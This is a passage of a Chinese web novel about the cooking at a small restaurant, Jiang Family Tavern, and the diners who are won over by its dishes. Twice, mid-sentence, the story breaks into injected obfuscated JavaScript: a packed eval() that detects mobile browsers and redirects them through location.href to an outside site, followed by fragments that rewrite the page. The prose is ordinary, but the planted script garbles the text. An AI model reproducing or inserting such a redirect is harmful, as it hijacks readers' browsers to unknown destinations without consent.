“这个松鼠鲑鱼也是一绝！”蒋秀秀嘴里刚塞了一口，又忍不住夹了一筷子松鼠鲑鱼。 那鱼肉夹起来时，会发出脆脆的响声，因为汤汁刚浇上去不久，鱼肉的外壳微微软，再往里又是焦酥的。 嚼一嚼，鱼肉的嫩滑与外壳的酥脆混合在一起，鱼肉被热油激发得香味翻倍，而那带着番茄味的酱汁，又恰到好处地让油味不那么重。 酸甜与油香混合，虽然鱼肉没有肥的部分，却比吃到鲜肥的肉块更加美味。 “连这个汤汁煮过的青豆都好吃！”蒋秀秀本不喜欢吃青豆，但被这带着鱼香味和番茄汁酸甜口的汤汁煮过，豆子都变得软糯好吃起来。 “等我吃完这口，马上尝。”何芷燕盯着眼前的饭，移不开视线。 那腊味饭本是吸了酱汁和蜡汁后的棕色，现在被鱼香茄子的汤汁又染上了橙红，格外诱人。 她舀了一大勺米饭，连同鱼香茄子一起送入口中。 茄子外韧内软，汁水丰厚，豆瓣的咸香与糖醋汁的酸甜，让这茄子风味极佳，鱼肉香气的余韵留在口中，久久不散。 米饭内部被咸香的酱汁和腊肠味渗透入味，外部又包裹了酸甜的茄子汁，每嚼一下都是享受。 “太好吃了......好吃得想流泪，真不愧是言师傅的手艺啊......”何芷燕眯起眼睛，幸福地咀嚼。 “有这么好吃吗？至于这么夸？”一个不友善的声音，打断了两人对美食的愉快享用。 蒋秀秀和何芷燕不约而同皱起眉头，转头看到了邻桌一个戴眼镜的男人，嗤笑着，满脸不屑地望着她们俩。 28. 鱼香茄子 “当然好吃了，我们这不是夸，是实话实说，啧！”蒋秀秀最烦这种众人皆醉他独醒的发言，翻了个白眼。 何芷燕撇撇嘴：“你吃完了再发言，没吃不许说话。” 侯世明本来还想再嘲笑她们两句，见两人都不好惹，闭了嘴。 作为寻味园饭店的厨师，侯世明是有几分傲气在的，毕竟这家店这几年一直在“溪川必吃美食榜”的前十，他也做过、吃过不少美味。 一个月前，寻味园饭店找言亦轩前来品鉴，顺便打打广告，没想到他直接指出寻味园做菜水平很一般，还尝出了有些食材不新鲜，店长想塞钱要好评，被言亦轩拒绝了。 寻味园的厨师们都对言亦轩颇有微词，这次换言亦轩当厨师，侯世明倒是想看看他做菜能有多好吃，连寻味园都瞧不上。 他点的是松鼠鲑鱼、鱼香茄子，外加一份米饭。 饭菜上桌，侯世明大眼一瞧，嬉笑了一声：“这菜看着不就是常规做法吗？” 不过仔细一瞧，侯世明发现了些门道。 用井字形刀法切的鱼肉，每一颗都大小一致，看上去很是整齐，所有的鱼肉像是炸开的刺猬一样，支棱起来。 而每块鱼肉，都只有薄薄的一层和鱼皮连接着，多一份鱼皮不脆，少一分就会皮肉分离。 从切鱼的手法，就能看出言亦轩刀工不一般。 “顶多就是细心点，我切肉时注意一下肯定也行。”侯世明不屑道。 他抽底把鱼皮夹断，连同鱼皮上带着的三四小块鱼肉，一同夹进碗里的米饭上。 橙红色的汤汁，在雪白的米饭上晕开一片。 一整块入口，薄薄一层的鱼皮，像是炸焦的山药脆片，酥酥地碎裂开。 三四小块鱼肉一同被嚼碎，那外壳一个个爆裂开，咀嚼间是脆脆的响声。 鱼肉挤压出来，鲜美嫩滑，外壳酥脆的油香与之混合，而那浓稠的汤汁，带来润喉的酸甜番茄味道。 “嗯？怎么竟然一点儿也不腻啊？”侯世明吃完一口，有些惊讶。 他凑近了鱼肉瞧着，那橙红色的浇汁上，一点儿油花都没有。 松鼠鲑鱼这道菜，侯世明也做过，这鱼是要在装满油的锅里炸过的，但是能控油到没有多余的油溢出来，番茄浇汁又能调得恰到好处解腻，很需要功夫。 侯世明沉默半晌，又夹起一筷子鱼肉，这次混同米饭，一起送入口中。 鱼肉外脆内软，本就因为油炸过非常香，甜度和酸度都很适中的番茄汁加入，更加去油开胃，这一口吃下去，舒服得很。 而那米饭水分正好，既软糯，又粒粒分明，此时半裹着番茄浇汁，一半是米香，一半是酸甜香味。 “行吧，这个菜还算过关。”侯世明嘴硬道，目光又转向鱼香茄子。 按照一般的鱼香茄子做法，茄子块肯定是块块分明的，而眼前这盘鱼香茄子，软软地堆在一起，又因为裹的酱汁很浓稠，只能看见一座茄子小山，隐隐约约有些轮廓。 “瞧这茄子软塌塌的，能好吃吗？”侯世明“啧啧”两声，夹了块茄子。 本以为茄子还没送进碗里，就会烂掉，却没想到这一夹起来，才感觉到茄子软糯却不酥烂。 茄子块切成的正是刚好能入口的大小，这一块送进嘴里，咀嚼间格外多汁。 淡淡的油汁，去腻味的糖醋汁，浓浓的茄香，回味无穷的炸鱼香气，一同在舌头上爆开。 软糯、酸甜、喷香、开胃。 侯世明吃到这一口，简直停不下咀嚼，片刻间，一块茄子就咽下了肚。 “不是，怎么做出这个味道的？”侯世明疑惑了。 一般来说，寻味园做鱼香茄子，都会加一些科技与狠活儿，比如有专门的鱼肉香的香料，味道很是浓郁，但是经常做菜就能尝出，味道很不自然。 侯世明尝出这言亦轩做的鱼香味很自然，但是使用天然的鱼肉味，很难做到这么浓，不被糖醋汁掩盖了味道，这让他有点佩服言亦轩的技术了。 “好像确实有两把刷子。”侯世明又夹了两块茄子。 每次茄子一放进嘴里，主观上想要细品，可舌头和牙齿有自己的想法，顷刻间，茄子就被狼吞虎咽下肚。 他也顾不得擦蒙在眼镜上的雾气，用茄子再拌上米饭，大吃了几口，但是吃得太快，一团米饭噎得他直打嗝。 “呃......呃......呃......”侯世明捶着胸口，打嗝却止不住。 “怎么样啊大叔，好吃吗？”何芷燕在一旁看着他想要控制自己，却又狼吞虎咽的样子，直发笑。 “刚才还讲我们【至于吗】，现在怎么吃得比我们还猛啊，噎成这样。”蒋秀秀笑道。 侯世明有些窘迫，停下了吃饭的速度，却停不下打嗝的声音，他喝了好几口大麦茶，才顺下了那口饭，不打嗝了。 “行吧，我承认这言亦轩做菜确实还可以。”侯世明尴尬地摆摆手。 何芷燕和蒋秀秀嘻笑起来。 厨艺提升到一定水平，再相差的就是细节了，这些细节一尝就能让人惊艳，但是很多厨师一辈子也达不到这样的水平。 侯世明是知道这些的，他虽然嘴上不承认，可心底对言亦轩有了些崇拜。 - “怎么是这家小饭馆啊？”葛旭看到江家小酒馆的招牌，皱起眉头。 “这里怎么了？”汪羽丰疑惑道。 两人是大学同宿舍的好哥们，毕业后到不同的城市工作，十几年过去了，这次葛旭来溪川出差，两人才有机会聚一聚。 汪羽丰吃过几次江家小酒馆的饭菜，本就迷上了江云枫做的菜，而且很早之前言亦轩还做厨师时，他也吃过言亦轩做的菜，也很崇拜他。 现在汪羽丰知道两个大厨都在同一家店，简直乐开了花，这次老友相聚，首选就是江家小酒馆。 “我前几天看【小段今天吃饱没】来这里直播，好吃到光顾着埋头吃，甚至都不跟弹幕互动了。”葛旭一脸难以置信，“昨天还看到那个很挑的美食评论家言亦轩也来这里了。” “那不是更能说明这里好吃吗？”汪羽丰不解。 “不不不，这营销味儿太重了，之前我就吃过一家很多网红都在推的店，难吃还贵。”葛旭连连摆手。 “你放心，这家店不会，我之前吃过很多次了，哪道菜都好吃不踩雷。再说了，这顿我请客，你也不损失什么。”汪羽丰笑着勾起葛旭的肩膀。 “要是不好吃，那就还是你买单，要是好吃，咱俩AA。”葛旭见他信誓旦旦的，有点动摇了。 “A什么A啊，大学你帮我答到那么多次呢，别跟哥们儿见外，我请客，但是包好吃的！”汪羽丰捶了一下他的肩膀。 “行啊。排到我们了，走着！” 两人落座，汪羽丰先把松鼠鲑鱼和鱼香茄子点上了，怕吃的人多了一会儿售罄。 两个五大三粗的汉子，吃这两道菜不顶饱，葛旭加了份板栗腊味饭，汪羽丰点了之前吃过好几次，却还没吃腻的排骨炖豆角土豆。 至于喝的，两人一人来了一瓶啤酒，汪羽丰又加了罐桂花烤奶。 “你什么时候也爱喝这甜东西了？”葛旭见他点桂花烤奶，有些不解。 “在这里，酸甜苦辣咸都好吃，点这个是因为之前没点过，我想把这菜单上的菜都吃一遍。”汪羽丰朝着墙上的菜单大手一挥。 “这么夸张吗？”葛旭笑着摇摇头。 “吃完你就知道了，一点儿也不夸张，平时工作累得很，就指望着这饭馆给我续命呢。”汪羽丰心想着他一会儿该改变想法了。 饭菜上桌，两人先干了一杯。 “来，走一个！” “干杯！” 清爽的啤酒下肚，让葛旭感觉解渴又开胃，他拿起勺子，舀起一大勺腊味饭。 粒粒分明的米饭，被酱汁和腊肠肉汁入味，伴着浓厚微醺味道的腊肠片、软糯香甜的栗子一同吃下，满口喷香。 “嚯，这味道确实不错！”葛旭惊讶抬头，和汪羽丰对视。 葛旭本觉得没那么饿，这一口香喷喷的饭，却激起了他的食欲，让他觉得腹内空空，又大吃了两勺腊味饭。 “这个，这个也非常好吃！这么多年了，言师傅的手艺真是一点儿也没下降。”汪羽丰吃过松鼠鲑鱼后，激动地连连指着这道菜。 “行，我也来一筷子。”吃过腊味饭，葛旭有些好奇别的菜的味道。 一大块鱼肉被夹起，连着的鱼皮“咔滋咔滋”裂开，单单是声音，就足够诱人了。 那包裹其上的鲜亮汤汁，格外浓稠，在从盘中到碗中的过程中，还滴落两滴，更让葛旭眼馋。 鱼肉入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872391|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，焦香与软嫩混合在一起，鱼肉汁水鲜美，油汁荤香，番茄汁酸甜。 几种味道相互融合，让这鱼肉香到舌头打颤。 “我去，这么好吃？”葛旭本来不太爱吃甜口的东西，但是吃到这一口，惊为天人。 “怎么样，我没说错吧。”汪羽丰笑嘻嘻的，用勺子舀了几勺鱼香茄子，又刮了一些汤汁，淋在排骨饭上。 用了些力，茄子软烂地破碎开，和米饭搅拌均匀，连同排骨一起，被汪羽丰送入口中。 排骨紧实鲜嫩，茄子软糯酸甜，米饭内里是肉香浓郁，外面是茄香开胃。 这一口吃着，让汪羽丰觉得，人生的幸福感都拉满了。 葛旭看到他一脸陶醉的表情，也赶紧来了口鱼香茄子。 鱼肉的香气和茄子的香气融合在一起，难分彼此，软软的茄子汁水很丰厚，豆瓣酱的香味和糖醋汁的酸甜，搭配出很美妙的味道。 “不是，这竟然是全素吗？”葛旭左右看着，那鱼香茄子里确实没有鱼肉，“这茄子竟然跟荤菜一样好吃！” “怎么样，我没说错吧，这家店的江老板，还有言师傅，那都是厨艺界的神，做什么菜都可以闭眼吃，包好吃的！”汪羽丰骄傲地挺胸，炫耀自己的宝藏厨师，让他很开心。 “你的饭给我吃两口。”葛旭没等他回答，直接伸勺子舀汪羽丰盘子里的饭，这一勺非常超值，米饭、排骨、豆角、土豆都有了。 “诶！诶！你这人怎么回事，怎么抢饭吃呢？”汪羽丰笑着揶揄，却也不拦他，做出小学生举手的样子，“报告老师！这里有人抢我的饭。” “你别管。”葛旭不理他，直接把饭塞进嘴里。 排骨酥烂，轻嚼间碎成肉丝，汁水又很丰厚，糯糯的土豆在舌头上化成泥，豆角和米饭都吸饱了肉汁，嚼起来贼香。 “哎呀，世界上怎么会有这么好吃的东西啊。”葛旭边吃边赞叹，“那我之前吃的垃圾预制菜，算是什么！” “算你难杀。”汪羽丰呵呵笑着，给自己倒了一杯桂花烤奶。 奶香入喉，桂花与红茶香气紧随其后，甜度适中，温温热热下肚，将口中其他饭的味道冲淡，格外舒服。 “我也喝一口。”葛旭自顾自地倒了一杯。 “咕嘟咕嘟咕嘟......”葛旭本想先喝一口品品，可喝了第一口就停不下来了，一饮而尽。 桂花的清甜，不仅萦绕在鼻尖，也绽放在味蕾，奶香非常醇厚自然，茶香带着淡淡的微苦，红枣和桂圆的甜味很妙，似有若无的，却让这味道层次感更加丰富。 “我就说了，包好吃的吧。”汪羽丰又来了两口排骨饭。 “咱们AA，不，我买单！感谢兄弟带我发现了这么好吃的饭馆！”葛旭抱拳道，“诶，看来之后我得想办法多来几次溪川，我看看能不能申请多来出差......” “什么？你刚才不还跟我说，一年只能来溪川一次吗？”汪羽丰难以置信。 “呃，这不是想多来这家店吃饭嘛......哈哈哈哈哈.....”葛旭尴尬地挠头。 - “今天有好多人拜倒在言师傅脚下哟——”江云枫看着店里的食客，好多都被松鼠鲑鱼和鱼香茄子迷住了，狂吃不断。 “师父教得好。”言亦轩原本不自觉皱眉，听到这话眉头舒展了。 “我怎么觉得言老师一点儿也不毒舌啊。”李博鸿今天一天，听到言亦轩对江云枫说的话，没一句不是好话。 “你这个鱼肉切得太厚了，是家里缺东西垫桌角吗？”言亦轩扫了一眼李博鸿手上的动作，随口来了句暴击。 “好的，当我没说，言老师还是很毒舌的。”李博鸿一愣，哈哈笑道。 言亦轩倒并不严肃，扬起嘴角，江云枫也笑了。 笑罢，李博鸿去冰箱拿食材，江云枫轻声感叹：“你（穿越）过来了，是不是说明其他徒弟啊朋友啊，也都在这边了呢。” 言亦轩闻言，放下手中的炒勺，转头认真道：“别人不知道，但是你的二徒弟宁映葵是在这边的。” “她在？”江云枫一愣，浑身的血都热了起来，然而很快被言亦轩的话冷却下来。 “她很好找的，我们能联系上她，但是也联系不到她。”言亦轩抿着嘴，摇了摇头。 “这是什么意思？”江云枫不解。 29. 小吊梨汤虾皮冬瓜 “宁映葵去当演员了，现在是大明星。”言亦轩在手机上点了几下，拿给江云枫看，“联系方式都有，我试过发邮件，结果是石沉大海。” 江云枫看到了宁映葵的微博，简介上备注了经纪人的邮箱，后面写着“仅接受商务合作”、“不看私信”。 “是啊……就算我们说是她的熟人，经纪人也会觉得是骗子，把邮件筛掉。”江云枫暗暗叹气。 翻看宁映葵的微博，江云枫发现她发展得很不错。 这一世的宁映葵，才三十出头就有了三部很有含金量的代表作，还在两年前拿了影后。 每拍完一部戏，宁映葵就会休息几个月，不过这次，她休息得格外长，已经半年没出现了，粉丝都在问她的行踪，然而一无所获。 “这丫头这辈子也算是完成梦想了。”言亦轩见江云枫神色黯然，讲道。 “说得也是。”江云枫抬头一笑，有些感慨，往事浮现在眼前。 上辈子，江云枫在做菜之余，爱去京城很有名的戏院清瓦轩看戏听曲，宁映葵每次都缠着江云枫带她一起去。 戏里曲里的故事，每次都能把宁映葵迷到不想回去，她常讲自己想扮演曲里的人，过上很多种不一样的人生。 然而学习曲艺需要童子功，上辈子宁映葵不能如愿，这一世也算是完成了梦想。 江云枫翻着宁映葵的微博，她烫着成熟的波浪卷发，乌发红唇，美艳却气质高冷，不像是印象里那个古灵精怪的小姑娘了。 “倒也不用非得见面，她过得好就行了。”江云枫毕竟曾活了八十多岁，人来人去也看得开，继续在厨房忙碌了。 晚上给最后几桌客人上完菜，江云枫出了趟门，再回来时，提着一大袋子新买的食材。 “银耳，百合，红枣……老板你这是要做银耳莲子粥吗？”林若雪看着江云枫分类清洗食材，好奇道。 “是做小吊梨汤吧。”江云枫回答之前，言亦轩接了话。 “对。”江云枫抿嘴一笑。 言亦轩知道这个，是因为上辈子江家小酒馆只对清瓦轩特供一味小吊梨汤，供曲艺人润喉。 清瓦轩也只接受这一外来饮品，并且因为这层合作关系，每次都给江云枫预留位置最好的包房。 银耳层层叠叠如花瓣堆叠，雪梨白皙而多汁，红枣个头大而表皮褶皱。 再加上芦根、百合、枇杷干、枸杞，混同冰糖与红糖，一同炖煮。 滚水翻涌着气泡，各种滋补食材的精华渗透出来，汤汁逐渐浓稠，并慢慢变成半透明的枣红色。 “这个香味，一闻就很养生。”李博鸿深吸一口气。 空气中的香味清新而湿漉漉的，主要由梨子和红枣的香气组成，还加了几分银耳的味道。 微微的甜味从鼻尖入肺，让人头脑都清爽起来。 “大家辛苦一天了，都来喝点汤休息一下吧。”江云枫招呼道。 不用江云枫多言，言亦轩就从橱柜拿了一些白瓷碗摆好，她将熬好的小吊梨汤分进各个碗中。 “谢谢老板～”李博鸿乐呵呵地端起两碗汤，递给林若雪一碗。 “每次第一时间尝到新品，就是最幸福的时候！”林若雪捧起那温热的碗时，窗外正好刮风了。 带着寒气的风，让捧着小吊梨汤的感觉更幸福了。 林若雪低头，浅抿了一口小吊梨汤。 汤汁微微浓稠，入口格外清冽。 梨子的甜润，红枣的浓郁，枇杷的清爽，全部融在汤里，混合出来的甜味不似糖水那样直白而无趣，而是层次丰富，越品越香。 “好神奇，喝几口就这么解渴。”林若雪眨着眼睛，又喝了两口。 那汤汁流过喉咙，仿佛有神奇的治愈效果，抚平了干渴带来的燥热。 “我本来不怎么爱吃银耳，但这碗是真好吃。”李博鸿盛满了一勺一勺的食材，往口中送。 银耳本就切成了小朵的，又因炖煮够了时长，入口抿一抿就化了，不厚重，每一瓣的褶皱上都挂了汤汁，一口下肚很水润。 雪梨块中的梨甜，散了一部分进汤里，却又吸收了红枣与枸杞的香气，外层挂着晶莹的汤汁，咬一口又多汁地出水。 其余的食材，也多多少少吸了汤汁，恰到好处的微甜，让这汤好喝又不发腻。 言亦轩半倚着冰箱，舀了两勺汤，边喝边点头，漫不经心地讲道：“有缘分还会再见到的。” 江云枫一怔，随即明白了他讲的是宁映葵，豁达一笑：“你师父我也不是悲观的人，说不定哪天江家小酒馆知名度够高，不用我们联系她，她就自己发现我们了。无缘碰不到，有缘躲不开。来日方长。” “来日方长。”言亦轩放心地舒展了眉头。 - “这个小吊梨汤好啊，一看就解渴！要一壶；这个虾皮炒冬瓜也好，降血脂消水肿！来一盘；再加个馒头吧。好，就这些。” “没问题，我先给您上小吊梨汤，别的菜也马上好。”林若雪拿笔飞快记录菜名，转头去了厨房。 齐桂芬奶奶戴着老花镜，认真瞧着菜单，点了菜。 自从上次在宠物店吃到江云枫做的松仁栗子糕，她一直对这味道念念不忘，这些天没少来。 今天正要出门，赶上孙子周柏晔吃完烧烤回来，他很好奇自己奶奶到底是被外面的什么好吃的迷住了，于是一起跟了过来。 “奶奶，很少见您胃口这么好。”周柏晔摇晃着翘起的二郎腿，调侃道。 往常齐桂芬都是吃两口菜就饱了，人也淡淡的，没想到来这里胃口变得这么好，精神头也足了。 “这儿的东西好吃着呢，每次吃完我都浑身是劲，感觉还能再给楼下的猫织十件毛衣。”齐桂芬奶奶收起眼镜，端坐着等饭。 “哈哈哈哈哈哈哈……”周柏晔见奶奶跟个老小孩似的，崩不住发笑。 虽然满屋子都是香味，周柏晔仍然不为所动，他的肚子已经被烧烤填满，没有那么旺盛的食欲了。 “你不懂，这家饭馆的老板人好着呢，我昨天让你帮我在群里发，加一点清淡的菜，你看，今天就上新了虾皮炒冬瓜。”齐桂芬奶奶骄傲地一撇嘴，“我和江老板是双向奔赴！” “好好好，双向奔赴，双向奔赴，您哪儿学的这些词。”周柏晔笑得更大声了。 “好了，不多说了，我这几天感冒，嗓子痛着呢。”齐桂芬奶奶说着，咽了咽口水，喉咙却仍是又干又燥痛。 近日秋意更浓，天气也干燥起来，小吊梨汤一上新，很受追捧。 江云枫早早就熬好了一大锅小吊梨汤，分在一个个小铜壶里，装进保温箱备着，有人点直接就能上桌。 那小铜壶和两个空的小瓷碗刚放上桌，齐桂芬就迫不及待给自己倒了一碗。 铜壶的壶嘴很大，银耳、红枣、芦根等食材都能轻松倒出来。 那枣红色的汤汁汩汩而出，有桌子在后面衬着，更能看出这汤汁是半透明的，很是清亮。 “喔唷，温度正好。” 齐桂芬嘴唇试探地碰了碰碗沿，热度正好不烫口，一抹晶莹的汤汁沾上嘴唇，她顺势抿了抿。 似有若无的甜意，从嘴唇转移到了舌尖，又很快消散在口中。 齐桂芬不舍这味道消失，勺子压着碗中各种食材，单单撇了一勺汤出来。 红棕色的汤汁盛在白瓷勺里，颜色对比格外好看。 汤汁顺滑地流入喉咙，齐桂芬喉咙本来又痛又痒，所有的不适却被瞬间止住，口中留下的唯有梨子的果香。 “真是神了！”齐桂芬又喝了两口，唇舌都有被滋润的感觉。 感冒厚重的不适感，被小吊梨汤四两拨千斤地解了，甚至这温温热热的汤一下肚，鼻子暖得通气儿了，头脑也更清爽了。 “嚯，这加的东西都挺美容养颜啊，不知道喝完会不会变年轻。”齐桂芬奶奶呵呵笑着，露出缺了一颗的门牙，很是可爱。 红枣吸饱汤汁，软软糯糯的，枣泥香气很足。 雪梨块也软了，轻轻一咬跟榨汁似的，甜丝丝的汤汁都挤压出来，很是解渴。 芦根和枸杞子也煮得像是泡发了一样，慢慢品很有滋味。 齐桂芬奶奶一勺接着一勺舀，把周柏晔看得有点渴了。 “咳咳……”周柏晔清清嗓子，或许是刚才吃的烧烤里调料太咸，这会儿口干舌燥的，“我也想喝点。” “嗯嗯，你喝。”齐桂芬奶奶在两勺汤入口之间，抽空回答了他。 周柏晔不喜欢吃什么银耳红枣的，他只想喝稀的，从壶里倒汤出来时，他拿勺子挡了半个壶口，滤出来的就都是液体了。 一碗棕红色的汤汁，看上去像是上好的红玉，格外剔透，尤其是被头顶上暖黄色的光一照，泛着莹莹的亮光。 那一瞬间，周柏晔想起一个词——琼浆玉酿。 不过他也没想太多，跟喝水似的，端起来喝了一大口。 “嗯？？？”小吊梨汤刚入口，周柏晔登时睁大眼睛。 这一口是淡淡的清甜，流过口舌之处，将咸味很重的烧烤料全部冲刷走，也带走了他口中的干渴。 那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881928|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃完垃圾食品的不适感，被这汤汁轻松抚平，虽是没有荤香的清汤，却给他格外安心的力量。 初品是梨香，紧跟其后的是浓郁的枣味，再品一品，百合的微苦，芦根的清新，枸杞的微甜…… 一口下肚，却仿佛尝尽了百味，层次丰富的甜味在舌尖翻涌，让他感觉到了惊艳。 “这么好喝吗？”周柏晔不再像喝白开水似的痛饮，而是换了小口品，然而这一小口一小口的却更让他欲罢不能。 齐桂芬奶奶正将馒头掰了小块放在虾皮炒冬瓜上，看到孙子喝了一碗，又添了一碗，很快又喝完准备倒第三碗，她急了。 “诶诶诶！你别给我喝完了！”齐桂芬奶奶伸手抢过壶柄。 “奶奶你别这么小气嘛，喝完我再给您点。”周柏晔嬉笑着想抢过壶柄。 “那不行，说不定一会儿售罄了，你直接再点一壶喝。”齐桂芬一手护着小吊梨汤，一手拿了筷子，将馒头块搅拌进虾皮炒冬瓜的汤汁里。 “好吧。”周柏晔又点了一壶小吊梨汤。 索性汤很快就上了，他又开始了一碗一碗的痛饮，不过嘴上喝着，眼睛却偷瞄着桌上的虾皮炒冬瓜。 刚才他只是陪奶奶吃饭，漫不经心的，还时不时玩手机。 可现在他意识到了，这江家小酒馆的手艺确实不一般，对这里的菜也产生了好奇。 齐桂芬奶奶夹起一块泡软的馒头，慢慢嚼着。 馒头本就疏松，吸了很多汤汁，一嚼，满满的汤汁涌出。 冬瓜的香气很是清润，因为先炸后炒，还带了点油香，那虾皮也是炸过的，虾味浓郁而鲜爽。 两者的精华味道都融入了汤中，此时一嚼，伴随面香一同在舌头上漾开。 “这饭真是养人啊！感觉我能长寿二十年！”齐桂芬吃得眼睛都亮了。 再夹起一筷子冬瓜，那冬瓜整体变成了青色的透明状，还有些破碎的虾皮附在上面。 放入口中，轻轻一抿，那冬瓜直接化在了舌头上。 更加浓郁的虾味在口中绽放，嚼一嚼，冬瓜靠近瓜皮的部分，还有些爽脆。 “奶奶，您一个人吃不完吧？晚上吃多了也不好，我帮您分担些。”周柏晔看着她吃得嘴唇泛光，忍不住也想尝尝味道。 周柏晔从旁边竹筒抽了双筷子，抢着夹了一块冬瓜，那冬瓜上还有不少虾皮。 一大块直接送入口中，每嚼一下，冬瓜汁混合虾汁溢出一次，虾皮炸得焦脆了，一嚼直接变成齑粉。 油香混合着虾的鲜味，留在齿缝间，还有些似有若无的扎扎的感觉留在舌头上，是破碎的虾腿。 这一口下肚，是非常健康的家常菜的味道，吃得人内心都平静了，显得刚才那顿烧烤更加华而不实。 “我吃得完！你怎么抢我吃的！欺负老人啦欺负老人啦！”齐桂芬奶奶挥手抗议。 见周围人侧目，周柏晔赶紧停了筷子：“诶您别喊！我自己点我自己点！” “这还差不多。”齐桂芬奶奶见保住了自己的饭，得意一笑，继续埋头苦吃。 - 楚逸山班上的物理老师李启良，一点儿没老师架子，平时就爱跟同学们打打闹闹的。 他一般晚上在学校食堂吃饭，总能遇到十几个同学跟他打招呼。 然而最近半个月很是奇怪，在食堂遇到的同学越来越少，甚至今天完全没有了。 正好晚自习要讲物理卷子，李启良在食堂买了个面包，就提前到教室了。 “我的好同学们，你们在吃什么好东西？”李启良从教室后门探个脑袋。 班里的同学吓了一跳，看清是李启良后，一片哄笑。 “你在吃什么？哦，冬瓜片，银耳红枣汤。” “你在吃什么？嗯？也是银耳红枣汤，冬瓜片。” “怎么你也是！” 李启良从教室后往前走，发现好多人吃的都一样，登时破防了。 “你们定团餐竟然不喊我！你们孤立老师！”李启良手里的面包都不香了。 “我们好像是……没定团餐呢……”许凝蕊看看自己的饭，又看看身边同学的饭。 “是啊，只是碰巧不约而同都点了江家小酒馆的饭菜。”顾瀚海说着，吸溜了一口小吊梨汤。 “什么江家小酒馆啊？怎么没人告诉我？”李启良茫然道。 “来老师，我告诉您，江家小酒馆就是溪川第一好吃饭馆，您尝一口就知道了。” 楚逸山大剌剌地从桌子上跳下来，舀了一勺小吊梨汤，直接凑到了李启良嘴边。 30. 虾皮冬瓜青椒酿肉 “诶哟，小楚同学真是热情。” 那冒着热气，带着甜香的汤汁近在眼前，李启良却有点犹豫。 “新拿的勺子，没用过，老师您放心喝吧。”楚逸山知道他在犹豫什么，回过头用下巴一指，李启良看到了他刚才用的是另一个勺子。 “小楚同学人真好。”李启良哈哈一笑，接过勺子，将勺中的汤一饮而尽。 汤汁很是浓稠，在嘴唇上都有些挂汁，馥郁的芳香在口中荡漾开，枇杷的清爽、梨的果香、红枣的醇厚...... 多种滋补食材的精华，都融进这一口汤汁中，香味一绝。 而且李启良下午满课，喉咙早就累得沙哑肿胀，虽然刚才在办公室痛饮了两杯茶水，稍微有些缓解，可喉咙仍是不舒服的。 而这一口汤喝下去，嗓子比之前好多了，他甚至觉得没那么哑了。 “嗯——这汤可不一般呐。”李启良咂吧着嘴，回味刚才的汤汁。 “这冬瓜片也挺不一般的。”顾瀚海也凑过来，给老师夹了一片带了不少虾皮的冬瓜。 “顾同学人也好！”李启良用勺子接过冬瓜，送入口中。 第一口，立刻感觉到了冬瓜的多汁，跟海绵似的特别能吸水，刚开始嚼就汁水四溢。 虾皮的鲜味全部被冬瓜吸收，咀嚼间，伴随着冬瓜的清润一同释放，迷你的虾皮嚼着半脆半软，滋味很是美妙。 “我第一次觉得，素菜也能这么香。”一口冬瓜咽下肚，舌尖上的味道慢慢消散，李启良很不舍，急忙问道，“你们是在哪家店买的这些？” “江家小酒馆。”班里的同学们异口同声道。 “没问题，我记得了！”李启良决定晚自习讲完卷子，就去吃个宵夜。 有了小吊梨汤和虾皮炒冬瓜的对比，那面包吃起来索然无味，李启良匆匆吃完了面包，而后开始了为期一个小时的忍耐。 “叮铃铃铃——”第一节晚自习下课的铃声，八点十分打响。 “刚好讲完，下课！”李启良听到铃声，卷起卷子，从讲台消失了。 “不是，李老师跑那么快吗？”很多同学都看呆了，以前李启良总是会拖堂，同学们还有点不乐意，现在一分钟不拖，实在令人意外。 - “看来就是这里了。”李启良按照手机导航来到了江家小酒馆门前，一脸欣喜，“太好了，是苍蝇小馆，看起来就好吃！” 相比于商圈里装修精致的连锁饭店，李启良更偏爱犄角旮旯里的苍蝇小馆，一般这样的小店做出来的菜才地道、有烟火气。 到店之后，李启良点了心心念念的小吊梨汤和虾皮炒冬瓜，而后看着菜单犯了难。 上面的菜看着都很好吃，可惜他胃不好，晚上吃多了容易胀气，选了半天，选了写在最后一行的“青椒酿肉”，又加了一个小饼子。 两菜一汤一饼上桌之际，李启良咽了咽口水。 虽然相比浓油赤酱的肥美肉类，这菜看上去清淡了些，可闻着，仍旧格外勾人食欲。 冬瓜呈现渐变的青色，点点橙色的虾皮散落其间，虾的鲜味扑面而来。 小吊梨汤盛在铜壶中，很有古代戏院看戏听曲时品饮一杯的感觉，壶口冒出缕缕热气，带着浓郁的香味。 更让人嘴馋的，是那青椒酿肉。 一条青椒有一整个手掌长，色泽翠绿，表皮被煎出虎皮褶皱，侧面开了一个长长的口子，里面的肉塞得满满的，将整个青椒都撑得饱满鼓胀。 勾了芡的酱汁，包裹着青椒酿肉，让它表面上泛起油亮亮的光泽。 “诶，真香。”李启良凑近深吸一口气，那肉香被椒香包裹，微微的辛辣刺鼻，反而更让他条件反射地分泌口水。 李启良端起铜壶，沿着白瓷碗沿倾倒，切碎的红枣、一瓣瓣的百合、破碎成指甲盖大小的银耳，随着汤汁次第涌出。 白瓷碗登时被棕红色的汤汁盛满，一大团一大团的热气往上翻涌。 “开吃开吃！”李启良将汤放在一旁晾着，抓起饼子，咬了一口。 牙齿咬着一拉扯，饼皮“咔滋”裂开，内里格外筋道，面香味十足。 